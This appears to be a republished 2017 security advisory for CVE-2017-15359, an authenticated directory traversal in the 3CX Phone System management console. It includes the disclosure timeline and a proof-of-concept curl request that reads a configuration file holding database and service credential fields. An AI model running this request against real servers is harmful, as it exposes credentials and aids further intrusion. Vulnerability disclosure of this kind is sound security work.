Exploit the possiblities

3CX Phone System 15.5.3554.1 Directory Traversal

3CX Phone System 15.5.3554.1 Directory Traversal
Posted Oct 16, 2017
Authored by Jens Regel

3CX Phone System version 15.5.3554.1 suffers from an authentication directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2017-15359
MD5 | a9779e9950c10976260d9d215e0f3f96

3CX Phone System 15.5.3554.1 Directory Traversal

Change Mirror Download
Title:
======
3CX Phone System - Authenticated Directory Traversal

Author:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2017-15359

Risk Information:
=================
CVSS Base Score: 6.8
CVSS Vector: CVSS3#AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Timeline:
=========
2017-08-08 Vulnerability discovered
2017-08-10 Asked for security contact
2017-08-11 Send details to the vendor
2017-09-04 Vendor has confirmed the vulnerability, will be fixed in the next release
2017-10-16 Public disclosure

Affected Products:
==================
3CX Phone System 15.5.3554.1 (Debian based installation)

Vendor Homepage:
================
https://www.3cx.com/phone-system/download-links/

Details:
========
In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:
"/api/RecordingList/DownloadRecord?file=" and "/api/SupportInfo?file=" are the vulnerable parameters. An attacker must be authenticated to exploit
this issue to access sensitive information to aid in subsequent attacks.

The vulnerabilities were found during a penetration test.

Proof of Concept:
=================

~$ curl -i -k --cookie ".AspNetCore.Cookies=CfDJ8PTIw(...)" https://192.168.0.1:5001/api/SupportInfo?file=/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Aug 2017 13:05:16 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-3CX-Version: 15.5.3554.1
Content-Disposition: attachment; filename="/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini"; filename*=UTF-8''%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15768000

[General]
;connection point to call manager
;used by:
;a) call manager initializes own listener before it connects to configuration server.
;b) components which are working directly with call manager
;MUST NOT be used by components which make connection to configuration server.
;They MUST use CM_API_IP, CM_API_PORT, CM_API_USER and CM_API_PASSWORD paramaeters to make direct connection to CallManagerAPI
pbxSLNIC=127.0.0.1
cmPort=5482
pbxuser=instance_Instance158792
pbxpass=REMOVED
AppPath=/var/lib/3cxpbx/Instance1
AppDataPath=/var/lib/3cxpbx/Instance1
Tenant=Instance1

[ConfService]
;connection point to configuration server for components
confNIC=127.0.0.1
ConfPort=5485
confUser=cfguser_default
confPass=REMOVED

[CfgServerProfile]
;configuration server connection to database
;exclusively used by configuration server
DBHost=127.0.0.1
DBPort=5432
MasterDBUser=phonesystem
MasterDBPassword=REMOVED
MasterTable=phonesystem_mastertable
DefFile=Objects.cls

[QMDatabase]
DBHost=127.0.0.1
DBPort=5432
DBName=database_single
dbUser=logsreader_single
dbPassword=REMOVED

[MIME_TYPES]
MESSAGE=x-chat/control

Fix:
====
Vendor has confirmed the vulnerability, will be fixed in the next release.

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